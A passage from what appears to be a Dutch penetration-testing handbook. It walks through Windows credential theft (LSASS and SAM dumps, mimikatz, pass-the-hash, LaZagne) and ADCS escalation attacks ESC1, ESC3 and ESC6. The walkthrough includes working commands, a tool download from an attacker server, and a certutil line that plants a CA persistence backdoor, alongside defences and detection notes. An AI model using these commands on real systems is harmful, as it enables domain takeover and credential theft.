Laten we een volledig scenario doorlopen. Je zit op werkstation WS01 als CORP\jdejong met lokale admin-rechten.

Stap 1: LSASS dumpen

# Check of PPL actief is
Get-Process lsass | Format-List *protect*

# Als PPL niet actief is (meest voorkomend):
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\tasks\lsass.dmp full

Stap 2: Credentials extraheren

Op je eigen machine:

mimikatz # sekurlsa::minidump lsass.dmp
Opening : 'lsass.dmp' file for minidump...

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 7654321
Session           : Interactive from 2
User Name         : admin.vanderberg
Domain            : CORP
        msv :
         * NTLM : e53d87d42adaa3ca32bdb34a876cbffb
        kerberos :
         * Password : (null)

Stap 3: Pass-the-Hash naar de volgende machine

admin.vanderberg is admin op SRV01. Gebruik de hash:

evil-winrm -i SRV01 -u admin.vanderberg -H e53d87d42adaa3ca32bdb34a876cbffb

Stap 4: Op SRV01 – meer credentials

# LSASS opnieuw dumpen
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\tasks\lsass.dmp full

# SAM dumpen voor lokale accounts
reg save HKLM\SAM C:\Windows\tasks\sam.bak
reg save HKLM\SYSTEM C:\Windows\tasks\system.bak

Stap 5: LaZagne voor extra credentials

C:\Windows\tasks\lazagne.exe all

[+] Password found !!!
Software: PuTTY
Hostname: DC01.corp.local
Username: admin.vanderberg
Password: DA-V@nderBerg2024!

Kijk eens aan. Het plaintext wachtwoord. Opgeslagen in PuTTY. Op een server waar de admin dagelijks SSH-sessies opzet naar de domain controller.

Stap 6: Domain controller

evil-winrm -i DC01.corp.local -u admin.vanderberg -p 'DA-V@nderBerg2024!'

Game over. Van werkstation naar domain controller in zes stappen. De totale tijd in een echt assessment: minder dan een uur.

Dit is waarom credential access de heilige graal is. Het is niet spectaculair, het is niet ingewikkeld, het is niet geavanceerd. Het is gewoon het ophalen van sleutels die overal rondslingeren.

10.11 De credential chain samengevat

[WS01] jdejong (phishing)
   ↓ LSASS dump
[WS01] admin.vanderberg hash
   ↓ Pass-the-Hash (Evil-WinRM)
[SRV01] admin.vanderberg
   ↓ LaZagne (PuTTY saved credentials)
[SRV01] admin.vanderberg plaintext
   ↓ Direct login
[DC01] Domain Admin
   ↓ DCSync
[DC01] Alle hashes in het domein

Elke stap in deze keten had voorkomen kunnen worden: - Stap 1: Credential Guard op WS01 had de LSASS dump nutteloos gemaakt - Stap 2: LAPS had ervoor gezorgd dat de lokale admin hash niet herbruikbaar was - Stap 3: Tiered administration had voorkomen dat admin.vanderberg op WS01 inlogde - Stap 4: Een password manager (in plaats van PuTTY saved sessions) had het plaintext wachtwoord niet blootgesteld - Stap 5: Protected Users group had credential caching op SRV01 voorkomen

Vijf verdedigingen. Geen van allen geimplementeerd. Niet omdat ze niet bestaan, niet omdat ze te duur zijn, niet omdat ze te complex zijn. Maar omdat er altijd iets “urgenter” was. Een nieuwe feature, een deadline, een migratie. Beveiliging komt later. Beveiliging komt altijd later. Tot het te laat is.

10.12 Referentietabel

Onderwerp IB Command Vereisten Output
LSASS dump (comsvcs.dll) cred_minidump Local admin / SeDebugPrivilege .dmp bestand
LSASS dump (PPL bypass) cred_lsass_ppldump Local admin + driver/exploit .dmp bestand of directe output
SAM/SYSTEM/SECURITY dump cred_sam_dump Local admin Registry hive bestanden
Token impersonation cred_token_impersonate SYSTEM of SeImpersonate Gestolen token/sessie
Mimikatz download (certutil) mimikatz Netwerk naar IB server mimi.exe
Mimikatz download (PowerShell) psmimikatz Netwerk naar IB server mimi.exe
LaZagne download get_lazagne Netwerk naar IB server lazagne.exe

10.13 Aanvullende resources

Mimikatz cheatsheet

# Basis credentials dump
privilege::debug
sekurlsa::logonpasswords

# WDigest wachtwoorden (als ingeschakeld)
sekurlsa::wdigest

# SAM database
lsadump::sam

# DCSync (vereist replication rechten)
lsadump::dcsync /user:DOMAIN\krbtgt
lsadump::dcsync /user:DOMAIN\Administrator
lsadump::dcsync /all /csv

# Token manipulatie
token::elevate
token::elevate /domainadmin

# DPAPI secrets
dpapi::masterkey /in:masterkey_file /rpc
dpapi::cred /in:credential_file

# Kerberos (zie ook hoofdstuk 8)
kerberos::golden /user:Administrator /domain:CORP.LOCAL /sid:S-1-5-21-... /krbtgt:HASH /ptt
kerberos::list
kerberos::purge

Hashcat snelreferentie

# NTLM
hashcat -m 1000 hashes.txt wordlist.txt

# NetNTLMv2 (responder captures)
hashcat -m 5600 hashes.txt wordlist.txt

# Kerberoast
hashcat -m 13100 hashes.txt wordlist.txt

# AS-REP roast
hashcat -m 18200 hashes.txt wordlist.txt

# DCC2 (cached domain credentials)
hashcat -m 2100 hashes.txt wordlist.txt

# Met regels
hashcat -m 1000 hashes.txt wordlist.txt -r best64.rule

# Status checken
hashcat -m 1000 hashes.txt wordlist.txt --show

10.14 Samenvatting

Credential access is de smeerolie van elke netwerkaanval. Zonder credentials sta je stil. Met credentials beweeg je vrij. De technieken zijn niet nieuw, niet geavanceerd, en niet bijzonder creatief. Ze exploiteren een fundamenteel probleem: Windows bewaart credentials in het geheugen, mensen hergebruiken wachtwoorden, en organisaties implementeren de beschikbare verdedigingen niet.

LSASS bevat de kroonjuwelen en is vaak onbeschermd. De SAM database is drie reg save-commando’s verwijderd van volledige blootstelling. Tokens slingeren rond op machines waar admins ooit hebben ingelogd. En LaZagne haalt wachtwoorden op die mensen bewust hebben opgeslagen in hun browser, PuTTY, of WinSCP.

De verdedigingen bestaan: Credential Guard, LAPS, Protected Users, tiered administration. Ze werken. Ze zijn bewezen. Ze zijn beschikbaar zonder extra licentiekosten. Maar ze vereisen inspanning, discipline, en de bereidheid om gebruikers even te laten klagen over het ongemak.

In het volgende hoofdstuk verleggen we onze aandacht naar Active Directory Certificate Services – ADCS – waar we ontdekken dat certificaten net zo misbruikbaar zijn als wachtwoorden, maar dan met een langere houdbaarheid.

Volgende: Hoofdstuk 11 – ADCS

Active DirectoryCertificate Services (ADCS)

Active Directory Certificate Services (ADCS)

Waarin we ontdekken dat de paspoortautoriteit zelf de zwakste schakel is, dat niemand PKI begrijpt, en dat een verkeerd aangevinkt vakje in een template voldoende is om het hele koninkrijk te veroveren.

De paspoortautoriteit

Stel je voor: je staat op Schiphol met je paspoort. Het boekje zelf is niets bijzonders — een stukje karton met een foto en wat gegevens. Wat het waardevol maakt, is de autoriteit die erachter staat. De Rijksoverheid zegt: “Deze persoon is wie hij zegt dat hij is.” Elke douanier ter wereld vertrouwt dat oordeel. Niet omdat ze jou kennen, maar omdat ze de uitgever vertrouwen.

Active Directory Certificate Services werkt precies zo. De Certificate Authority (CA) is de digitale Rijksoverheid van je netwerk. Zij geeft certificaten uit die zeggen: “Deze computer is echt dc01,” of “Deze gebruiker is echt Jan van Finance.” Elke service, elke server, elke authenticatiepoging vertrouwt die certificaten blind. En net als bij echte paspoorten geldt: als iemand de drukpers in handen krijgt, is het spel voorbij.

Maar hier wordt het interessant. Bij echte paspoorten zijn er fysieke beveiligingen — watermerken, hologrammen, biometrische chips. Bij ADCS? Daar zijn het templates. Configuratieformulieren. Dropdown-menu’s en checkboxen. En als een systeembeheerder die templates verkeerd configureert — wat verbazingwekkend vaak gebeurt — dan kan iedereen met een netwerkaccount zichzelf een paspoort drukken op naam van de koning.

Will Schroeder en Lee Christensen publiceerden in 2021 hun onderzoek “Certified Pre-Owned” en legden daarmee een aanvalsvector bloot die al die jaren onder ieders neus had bestaan. Acht escalatiepaden, genummerd ESC1 tot ESC8, elk een variatie op hetzelfde thema: de Certificate Authority vertrouwt, maar verifieert onvoldoende. Het was alsof iemand ontdekte dat je bij het gemeentehuis een nieuw paspoort kon aanvragen door gewoon vriendelijk te vragen en de juiste naam op het formulier te schrijven.

In dit hoofdstuk lopen we door de belangrijkste ADCS-aanvallen: enumeratie, ESC1, ESC3 en ESC6. Elk is een les in hoe vertrouwen misplaatst kan zijn wanneer configuratie het enige is dat tussen een aanvaller en domeinadmin-rechten staat.

Wat is ADCS?

PKI in een notendop

Public Key Infrastructure klinkt als iets wat alleen cryptografen begrijpen, en eerlijk gezegd gedragen de meeste systeembeheerders zich alsof dat ook zo is. Het concept is echter verrassend eenvoudig.

PKI draait om twee sleutels: een publieke en een private. De publieke sleutel is als je huisadres — iedereen mag het weten. De private sleutel is als de sleutel van je voordeur — alleen jij hebt die. Wanneer iemand een bericht versleutelt met je publieke sleutel, kan alleen jij het ontcijferen met je private sleutel. En wanneer jij iets ondertekent met je private sleutel, kan iedereen met je publieke sleutel verifiëren dat het echt van jou komt.

Een certificaat is niets meer dan een publieke sleutel met een handtekening van iemand die we vertrouwen — de Certificate Authority. Het is een digitaal identiteitsbewijs: “Ik, de CA, bevestig dat deze publieke sleutel hoort bij Administrator@domain.local.”

Active Directory Certificate Services

ADCS is Microsoft’s implementatie van PKI, diep geïntegreerd in Active Directory. De componenten:

┌──────────────────────────────────────────────────────────────┐
│                    Active Directory Forest                    │
│                                                              │
│  ┌─────────────┐    ┌──────────────┐    ┌────────────────┐  │
│  │   Client     │───>│  Enrollment  │───>│  Certificate   │  │
│  │  (certreq)   │    │   Service    │    │   Authority    │  │
│  └─────────────┘    └──────────────┘    └───────┬────────┘  │
│                                                  │           │
│                           ┌──────────────────────┘           │
│                           │                                  │
│                    ┌──────┴──────┐                           │
│                    │  Templates   │                           │
│                    │  (AD LDAP)   │                           │
│                    └─────────────┘                           │
└──────────────────────────────────────────────────────────────┘

Waarom ADCS zo gevaarlijk is

Certificaten in AD zijn niet zomaar encryptiesnuisterijen. Ze worden gebruikt voor:

  1. Authenticatie: Via PKINIT kan een certificaat een Kerberos TGT opleveren. Een certificaat is een wachtwoord — maar eentje dat niet verloopt door een password policy en niet reset wordt bij “Alle wachtwoorden wijzigen!”
  2. Smart Card Logon: Certificaten vervangen wachtwoorden volledig.
  3. Code Signing: Vertrouwde software ondertekenen.
  4. Encryptie: EFS, S/MIME, TLS.

Het fundamentele probleem: als je een certificaat kunt krijgen op naam van een domain admin, krijg je een TGT als die domain admin. Geen wachtwoord nodig. Geen hash nodig. Alleen een .pfx-bestand en Rubeus.

En hier is het cynische deel: de meeste organisaties hebben hun CA jaren geleden opgezet, waarschijnlijk door iemand die een Microsoft-tutorial volgde, op “Next, Next, Finish” klikte, en er daarna nooit meer naar omkeek. Die templates? Standaardconfiguratie. Die permissions? “Authenticated Users” mag enrollen. Die audit logs? Uitgeschakeld, want “te veel ruis.” Het is alsof je een paspoortbureau opent, de deur op een kier zet, en dan gaat lunchen. Permanent.

De anatomie van een certificaat

Voordat we gaan aanvallen, is het nuttig om te begrijpen wat er eigenlijk in een certificaat zit. Een X.509-certificaat — de standaard die ADCS gebruikt — bevat een aantal velden:

┌─────────────────────────────────────────────────────────┐
│                    X.509 Certificate                     │
├─────────────────────────────────────────────────────────┤
│  Version:              3 (v3)                            │
│  Serial Number:        01:23:45:67:89:AB:CD:EF          │
│  Signature Algorithm:  sha256WithRSAEncryption           │
│  Issuer:               CN=domain-CA, DC=domain, DC=local │
│  Validity:                                               │
│    Not Before:         Jan 1 00:00:00 2025 UTC           │
│    Not After:          Jan 1 00:00:00 2026 UTC           │
│  Subject:              CN=Administrator                   │
│  Subject Alt Name:     UPN=Administrator@domain.local    │
│  Public Key:           RSA 2048 bit                      │
│  Extended Key Usage:                                     │
│    - Client Authentication (1.3.6.1.5.5.7.3.2)          │
│    - Smart Card Logon (1.3.6.1.4.1.311.20.2.2)          │
│  Signature:            [CA's digitale handtekening]      │
└─────────────────────────────────────────────────────────┘

De cruciale velden voor aanvallers:

Het onderscheid tussen Subject en Subject Alternative Name is belangrijk. Historisch stond de identiteit in het Subject-veld (CN=Administrator). Moderne implementaties gebruiken de SAN, specifiek de User Principal Name (UPN: Administrator@domain.local). Bij PKINIT-authenticatie is het de SAN die bepaalt welk account het TGT krijgt — niet het Subject. Dit verklaart waarom de /altname parameter in Certify zo dodelijk is: het vult de SAN in, en de SAN is wat telt.

Template permissies in detail

Een certificate template heeft twee soorten permissies die relevant zijn:

  1. Enrollment-rechten: Wie mag een certificaat aanvragen via deze template? Dit staat in de DACL van het template-object in AD.
  2. Autoenrollment: Mag het certificaat automatisch uitgedeeld worden via Group Policy? Dit is een aparte permission.

In LDAP zien de relevante attributen er zo uit:

dn: CN=VulnerableTemplate,CN=Certificate Templates,CN=Public Key Services,
    CN=Services,CN=Configuration,DC=domain,DC=local
msPKI-Certificate-Name-Flag: 1          # ENROLLEE_SUPPLIES_SUBJECT
msPKI-Enrollment-Flag: 0                # Geen restricties
pKIExtendedKeyUsage: 1.3.6.1.5.5.7.3.2 # Client Authentication
msPKI-RA-Signature: 0                   # Geen co-signing vereist

De msPKI-RA-Signature waarde is bijzonder relevant: als deze 0 is, is er geen co-signature nodig. Als deze 1 of hoger is, moet een Enrollment Agent mee-ondertekenen — wat ESC3 als tussenstap vereist.

ADCS Enumeratie

Voordat je certificaten kunt misbruiken, moet je weten wat er is. Enumeratie van ADCS is de eerste stap, en het goede nieuws is dat de meeste tools dit triviaal maken. Het slechte nieuws — voor de verdedigers — is dat elke geauthenticeerde gebruiker deze informatie kan opvragen.

Certify.exe

Certify is het standaardwapen voor ADCS-enumeratie, geschreven door Will Schroeder als onderdeel van de GhostPack-toolkit. Het is snel, betrouwbaar, en levensgevaarlijk in de juiste handen.

CA’s in het domein vinden:

.\Certify.exe cas

Dit toont alle Certificate Authorities, hun configuratie, en cruciale details zoals welke templates beschikbaar zijn en welke flags actief zijn op de CA zelf.

Alle templates enumereren:

.\Certify.exe find

De output is uitgebreid: template naam, OID, permissions, key usage, en de vlaggen die bepalen of de template kwetsbaar is.

Alleen kwetsbare templates vinden:

.\Certify.exe find /vulnerable

Dit is de gouden optie. Certify controleert automatisch op bekende misconfiguraties (ESC1 t/m ESC8) en filtert de output. Als hier iets uitkomt, heb je werk te doen — of als aanvaller, een cadeautje.

Templates met Enrollee Supplies Subject:

.\Certify.exe find /enrolleeSuppliesSubject

Dit zoekt specifiek naar ESC1-kwetsbare templates: templates waar de aanvrager zelf mag bepalen voor wie het certificaat is.

Client Authentication certificaten:

.\Certify.exe find /clientauth

Toont welke certificaten bruikbaar zijn voor authenticatie — het type dat we nodig hebben om TGT’s aan te vragen.

IB — In Incompetent Bastard staat adcs_enum klaar met alle Certify-commando’s. Gebruik de Commands-pagina om ze naar je doelmachine te sturen. Om Certify zelf op het doelsysteem te krijgen, gebruik je het get_certify command, dat Certify downloadt van je IB-server:

powershell -c (new-object System.Net.WebClient).DownloadFile(
  'http://10.0.0.1/tools/Certify.exe',
  'c:\windows\tasks\Certify.exe'
)

Zorg dat Certify.exe in je IB http/payloads/ of tools/ directory staat voordat je dit uitvoert.

Certipy (vanuit Linux)

Niet iedereen zit op een Windows-machine, en niet iedereen wil dat. Certipy is de Python-variant, geschreven door Oliver Lyak, en draait prima vanuit je Kali-box.

Volledige enumeratie:

certipy find -u user@domain.local -p 'Password123!' -dc-ip 10.0.0.1

Alleen kwetsbare templates:

certipy find -u user@domain.local -p 'Password123!' -dc-ip 10.0.0.1 -vulnerable

Certipy genereert bovendien BloodHound-compatible output, zodat je de relaties visueel kunt analyseren. Kwetsbare templates, wie er mag enrollen, welke CA ze uitgeeft — alles mooi in een grafiek.

Handmatig via certutil

Soms heb je geen tooling en moet je het doen met wat Windows je geeft. Certutil is altijd aanwezig:

# Alle templates dumpen
certutil -v -template > templates.txt

# CA's enumereren
certutil -config - -ping

De output van certutil -v -template is overweldigend — duizenden regels per template. Maar zoek naar deze sleutelwoorden:

Waar je naar zoekt

Na enumeratie is de cruciale vraag: welke templates zijn kwetsbaar? De checklist:

Eigenschap Risico ESC
ENROLLEE_SUPPLIES_SUBJECT Aanvrager bepaalt de SAN ESC1
Certificate Request Agent EKU Certificaten namens anderen aanvragen ESC3
EDITF_ATTRIBUTESUBJECTALTNAME2 op CA Alle templates worden ESC1-kwetsbaar ESC6
Manager Approval uitgeschakeld Geen menselijke goedkeuring nodig ESC1/ESC2
Authenticated Users kan enrollen Iedereen kan aanvragen ESC1-ESC4
Any Purpose EKU of geen EKU Certificaat is overal voor bruikbaar ESC2

Een kwetsbare template heeft typisch drie eigenschappen tegelijk: (1) de aanvrager bepaalt de subject, (2) client authentication is mogelijk, en (3) een brede groep kan enrollen. Eén van de drie is vervelend. Alle drie samen is catastrofaal.

ESC1 — Misconfigured Certificate Templates

Het probleem

ESC1 is de meest voorkomende en meest vernietigende ADCS-kwetsbaarheid. Het concept is beschamend eenvoudig.

Een certificate template kan twee manieren gebruiken om te bepalen wie het certificaat beschrijft:

  1. Subject uit Active Directory halen: De CA vult automatisch de naam en e-mail in op basis van het AD-account van de aanvrager. Veilig — je krijgt een certificaat op je eigen naam.
  2. Enrollee Supplies Subject: De aanvrager vult zelf in voor wie het certificaat is. Handig? Zeker. Levensgevaarlijk? Absoluut.

Als een template ENROLLEE_SUPPLIES_SUBJECT heeft ingeschakeld, gecombineerd met een Extended Key Usage die Client Authentication toestaat, en de aanvrager enrollment-rechten heeft, dan kan die aanvrager een certificaat aanvragen op naam van wie dan ook. De domain admin. De CEO. Het krbtgt-account. Maakt niet uit.

Het is alsof het paspoortbureau een formulier heeft waar je zelf je naam, geboortedatum en BSN mag invullen, en de ambtenaar het vervolgens zonder controle ondertekent en afstempelt. “U zegt dat u de minister-president bent? Prima, hier is uw paspoort. Fijne dag nog.”

De aanval stap voor stap

Stap 1: Vind kwetsbare templates

.\Certify.exe find /vulnerable

In de output zoek je naar templates met:

msPKI-Certificate-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
pkiextendedkeyusage: Client Authentication
Enrollment Rights: domain\Domain Users  (of Authenticated Users)

Stel dat je een template vindt genaamd VulnerableTemplate. Dan gaat het feest beginnen.

Stap 2: Certificaat aanvragen als Administrator

.\Certify.exe request /ca:dc01.domain.local\domain-CA /template:"VulnerableTemplate" /altname:Administrator

Certify dient een certificate request in bij de CA, met als Subject Alternative Name (SAN) “Administrator”. De CA controleert of je enrollment-rechten hebt op de template — ja, want Domain Users mag enrollen — en of de template deze aanvraag toestaat — ja, want ENROLLEE_SUPPLIES_SUBJECT staat aan. Certificaat uitgegeven.

De output is een PEM-bestand met het certificaat en de private sleutel.

Stap 3: Converteer naar PFX

Het PEM-bestand moet worden omgezet naar een PFX (PKCS#12) bestand dat Windows begrijpt:

openssl pkcs12 -in cert.pem -keyex \
  -CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
  -export -out esc1.pfx

Je wordt gevraagd om een export-wachtwoord. Kies iets dat je onthoudt.

Stap 4: TGT aanvragen met het certificaat

Nu het magische moment. We gebruiken Rubeus om met het certificaat een Kerberos TGT aan te vragen:

.\Rubeus.exe asktgt /user:Administrator /certificate:esc1.pfx /password:CertPassword /ptt

De /ptt flag injecteert het ticket direct in je huidige sessie. Je bent nu Administrator.

Stap 5: Verifieer

ls \\dc01.domain.local\c$

Als je de inhoud van de C$-share op de domain controller ziet, ben je domain admin. Van “ik heb een gewoon gebruikersaccount” naar “ik bezit het hele domein” in vijf commando’s. Geen exploits. Geen zero-days. Alleen een verkeerd geconfigureerde template.

ESC1 vanuit Linux met Certipy

Dezelfde aanval, maar dan vanuit je Kali-machine:

# Certificaat aanvragen met Administrator UPN
certipy req -u user@domain.local -p 'Password123!' \
  -ca domain-CA -target dc01.domain.local \
  -template VulnerableTemplate \
  -upn Administrator@domain.local

# Authenticeren met het certificaat
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1

Certipy handelt de conversie en TGT-aanvraag automatisch af. Het resultaat: een NTLM-hash of Kerberos TGT voor Administrator.

IB — Het adcs_esc1 command in IB bevat de volledige aanvalsketen. Pas de volgende waarden aan voordat je het uitvoert:

  • dc01.domain.local\domain-CA — vervang door de daadwerkelijke CA-naam (uit adcs_enum output)
  • TemplateName — vervang door de naam van de kwetsbare template
  • Administrator — vervang door de gewenste doelgebruiker

Tip: Controleer altijd de enrollment-rechten. De template moet enrollable zijn voor jouw user of groep. Certify’s /vulnerable flag controleert dit automatisch.

De tijdlijn van een ESC1-aanval

Om het hele plaatje te schetsen, hier de chronologische volgorde met geschatte tijden:

T+0:00  .\Certify.exe find /vulnerable
        → Output toont "VulnerableTemplate" met ENROLLEE_SUPPLIES_SUBJECT
        → Enrollment Rights: Domain Users
        → EKU: Client Authentication
        (Tijd: ~5 seconden)

T+0:10  .\Certify.exe request /ca:dc01.domain.local\domain-CA
          /template:"VulnerableTemplate" /altname:Administrator
        → CA geeft certificaat uit
        → Output: PEM-encoded cert + private key
        (Tijd: ~3 seconden)

T+0:20  openssl pkcs12 -in cert.pem -keyex [...] -export -out esc1.pfx
        → PFX bestand aangemaakt
        (Tijd: ~2 seconden)

T+0:30  .\Rubeus.exe asktgt /user:Administrator /certificate:esc1.pfx
          /password:CertPassword /ptt
        → TGT voor Administrator in huidige sessie
        (Tijd: ~2 seconden)

T+0:35  ls \\dc01.domain.local\c$
        → Directory listing van DC C$-share
        → DOMAIN ADMIN BEREIKT
        (Tijd: ~1 seconde)

TOTAAL: ~35 seconden van normale gebruiker naar domain admin

Vijfendertig seconden. Minder tijd dan het kost om een kop koffie te zetten. En alles is legitiem verkeer — certificate requests, Kerberos TGT-aanvragen, SMB-connecties. Geen exploit. Geen vulnerability in de traditionele zin. Alleen configuratie die doet wat het is geconfigureerd om te doen.

Waarom is dit zo wijdverspreid?

Je zou denken dat een dergelijke flagrante misconfiguratie zeldzaam is. Helaas niet. Er zijn meerdere redenen:

  1. Legacy templates: Veel organisaties hebben templates die stammen uit de Windows Server 2003-era, toen “ENROLLEE_SUPPLIES_SUBJECT” de standaard was voor bepaalde template types.
  2. Kopiëren zonder begrijpen: Beheerders kopiëren bestaande templates en passen ze aan zonder de implicaties van elke vlag te begrijpen.
  3. Documentatie: Microsoft’s eigen documentatie waarschuwde jarenlang niet prominent voor het risico van deze vlag.
  4. Geen monitoring: Vrijwel niemand monitort certificate enrollment events. De aanval genereert Event ID 4887 (Certificate Services approved a certificate request), maar wie kijkt daar naar?

Het is het digitale equivalent van een bank die de kluisdeur openlaat omdat “de medewerkers moeten er toch bij kunnen.” Technisch correct. Praktisch desastreus.

ESC3 — Enrollment Agent Templates

Het concept

ESC3 is subtieler dan ESC1, maar niet minder dodelijk. Waar ESC1 draait om een template die je rechtstreeks laat bepalen voor wie het certificaat is, draait ESC3 om een tussenstap: het Enrollment Agent-certificaat.

Denk aan het verschil tussen zelf een paspoort vervalsen (ESC1) en eerst een functie krijgen bij het paspoortbureau (ESC3). Met een Enrollment Agent-certificaat word je een vertrouwde uitgever van certificaten namens anderen. Het is een meta-aanval: je vraagt niet zomaar een certificaat aan, je vraagt het recht aan om certificaten voor anderen aan te vragen.

Dit vereist twee templates:

  1. Een Enrollment Agent template — een template met de Extended Key Usage Certificate Request Agent. Dit certificaat geeft je het recht om namens anderen aan te vragen.
  2. Een target template — een template die certificaten uitgeeft die je wilt (bijv. Smart Card Logon of Client Authentication).

De aanval

Stap 1: Vind een Enrollment Agent template

.\Certify.exe find /vulnerable

Zoek in de output naar:

pkiextendedkeyusage: Certificate Request Agent

Veel organisaties hebben templates als SmartCardEnrollment-Agent die precies dit doen.

Stap 2: Enrollment Agent certificaat aanvragen

.\Certify.exe request /ca:dc01.domain.local\domain-CA /template:SmartCardEnrollment-Agent

Dit geeft je een certificaat dat zegt: “Deze persoon mag certificaten aanvragen namens anderen.” Converteer het resultaat naar een PFX:

openssl pkcs12 -in cert.pem -keyex \
  -CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
  -export -out esc3agent.pfx

Stap 3: Certificaat aanvragen namens Administrator

Nu gebruik je je Enrollment Agent-certificaat om een certificaat aan te vragen namens de Administrator:

.\Certify.exe request /ca:dc01.domain.local\domain-CA \
  /template:SmartCardEnrollment-Users \
  /onbehalfof:domain\Administrator \
  /enrollcert:esc3agent.pfx \
  /enrollcertpw:Password123!

De CA ziet een geldige Enrollment Agent die een certificaat aanvraagt namens een gebruiker. Dit is precies waarvoor het systeem ontworpen is — de CA gaat ervan uit dat de Enrollment Agent geautoriseerd is om dit te doen. Certificaat uitgegeven.

Stap 4: TGT aanvragen

.\Rubeus.exe asktgt /user:Administrator /certificate:esc3user.pfx /password:Password123! /ptt

Stap 5: Verifieer

ls \\dc01.domain.local\c$

IB — Het adcs_esc3 command bevat de volledige twee-staps aanvalsketen. ESC3 is minder voorkomend dan ESC1, maar wanneer het aanwezig is, is het zeer krachtig. Controleer of Enrollment Agent Restrictions geconfigureerd zijn op de CA — deze beperken welke doelaccounts een Enrollment Agent mag targeten.

Waarom ESC3 vaak over het hoofd gezien wordt

ESC3 is complexer dan ESC1 — twee stappen in plaats van een. Daardoor wordt het regelmatig overgeslagen bij security assessments. “We hebben geen ESC1, dus we zijn veilig” is een uitspraak die ik te vaak hoor. Maar ESC3 is juist gevaarlijk omdat het gebruikt wordt door organisaties die bewust ENROLLEE_SUPPLIES_SUBJECT hebben uitgeschakeld maar vergeten zijn dat Enrollment Agent-templates hetzelfde resultaat bereiken via een omweg.

Het is als een bank die de voordeur beveiligt met een vijfpunts slot, terwijl de zijdeur openstaat omdat “die is alleen voor het personeel.” De inbreker trekt gewoon een schort aan.

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2

De nucleaire optie

Als ESC1 een kwetsbare template is en ESC3 een kwetsbare workflow, dan is ESC6 een kwetsbare Certificate Authority. Dit is geen template-level probleem — dit is een CA-level configuratiefout die elke template in het domein kwetsbaar maakt.

De flag heet EDITF_ATTRIBUTESUBJECTALTNAME2. Wanneer deze actief is op de CA, kan elke aanvrager bij elke certificaataanvraag een Subject Alternative Name (SAN) meegeven. Het maakt niet uit wat de template zegt. Het maakt niet uit of ENROLLEE_SUPPLIES_SUBJECT uitgeschakeld is. De CA overruled de template en staat de SAN toe.

Stel je voor dat de paspoortautoriteit een intern beleid heeft dat zegt: “Wie een paspoort aanvraagt, mag ook een tweede naam opgeven die we er gewoon bijzetten.” Niet per formulier, maar als organisatiebreed beleid. Elke aanvraag, elke template, altijd. Dat is ESC6.

Detectie

Controleer of de flag actief is:

certutil -config "dc01.domain.local\domain-CA" -getreg "policy\EditFlags"

In de output zoek je naar:

EDITF_ATTRIBUTESUBJECTALTNAME2 -- 40000 (262144)

Als deze flag aanwezig is, is elke template in het domein effectief ESC1-kwetsbaar. Elke template. Zelfs de standaard User-template die Microsoft meegeeft.

De aanval

Stap 1: Certificaat aanvragen met SAN

Omdat ESC6 elke template kwetsbaar maakt, kun je zelfs de meest basale template gebruiken:

.\Certify.exe request /ca:dc01.domain.local\domain-CA /template:"User" /altname:Administrator

De standaard User-template. Die template die in elke AD-omgeving bestaat. Die template waarvan iedereen denkt dat hij veilig is.

Met Certipy vanuit Linux:

certipy req -u user@domain.local -p 'Password123!' \
  -ca domain-CA -target dc01.domain.local \
  -template User \
  -upn Administrator@domain.local

Stap 2: TGT aanvragen

.\Rubeus.exe asktgt /user:Administrator /certificate:esc6.pfx /password:Password123! /ptt

Klaar. Domain admin. Via de standaard User-template.

ESC6 als persistentiemechanisme

Hier wordt het echt duivels. Als je al domain admin bent, kun je de flag zelf activeren:

certutil -config "dc01.domain.local\domain-CA" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

Dit creëert een backdoor die overleeft na password resets, zelfs na het verwijderen van kwetsbare templates. De CA zelf is nu je persistentiemechanisme. Zolang de flag actief is, kun je op elk moment een nieuw certificaat aanvragen op elke naam.

IB — Het adcs_esc6 command bevat zowel de detectie als de exploitatie. Merk op dat ESC6 een CA-level misconfiguratie is, niet een template-level probleem. Alle templates worden kwetsbaar wanneer deze flag actief is. Het command bevat ook de certutil-regel om de flag zelf te activeren — gebruik dit uitsluitend om persistentie te demonstreren in geautoriseerde tests.

Hoe ontstaat ESC6?

De flag EDITF_ATTRIBUTESUBJECTALTNAME2 wordt soms bewust geactiveerd door beheerders die “flexibele” certificaatuitgifte willen. Webservers die certificaten met meerdere SAN’s nodig hebben, interne applicaties die certificaten aanvragen voor service accounts — er zijn legitieme redenen om SANs te willen specificeren.

Het probleem is dat de flag alles-of-niets is. Er is geen “sta SANs toe, maar alleen voor webserver-templates” optie. Het is aan of uit, voor de hele CA. En zodra het aan staat, is elke template een wapen.

Microsoft’s eigen documentatie over deze flag is opmerkelijk laconiek. Ergens in een KB-artikel staat een waarschuwing, begraven onder drie lagen hyperlinks. Geen rode banner. Geen popup. Gewoon een zinnetje dat zegt “pas op.” Het is alsof de fabrikant van een kernreactor in de kleine lettertjes schrijft: “Let op: knopje A kan een meltdown veroorzaken.”

Certificaat-gebaseerde authenticatie

PKINIT

PKINIT (Public Key Cryptography for Initial Authentication) is het protocol dat certificaten koppelt aan Kerberos. Wanneer je Rubeus.exe asktgt uitvoert met een certificaat, gebeurt het volgende:

  1. Rubeus stuurt een AS-REQ naar de KDC met het certificaat als pre-authenticatie.
  2. De KDC valideert het certificaat tegen de CA.
  3. De KDC extraheert de gebruikersnaam uit de SAN van het certificaat.
  4. De KDC geeft een TGT uit voor die gebruiker.

Stap 3 is waar het misgaat bij ESC1/ESC3/ESC6. De KDC vertrouwt de SAN in het certificaat. Als het certificaat zegt “ik ben Administrator”, dan geeft de KDC een TGT voor Administrator. De KDC controleert niet waarom het certificaat die SAN heeft — alleen dat de CA het certificaat heeft ondertekend.

┌──────────┐         AS-REQ + Cert         ┌──────────┐
│  Client   │─────────────────────────────>│   KDC    │
│ (Rubeus)  │                               │  (DC)    │
│           │<─────────────────────────────│          │
│           │         TGT (Admin)           │  Trust:  │
└──────────┘                               │  CA cert │
                                            └──────────┘

Schannel

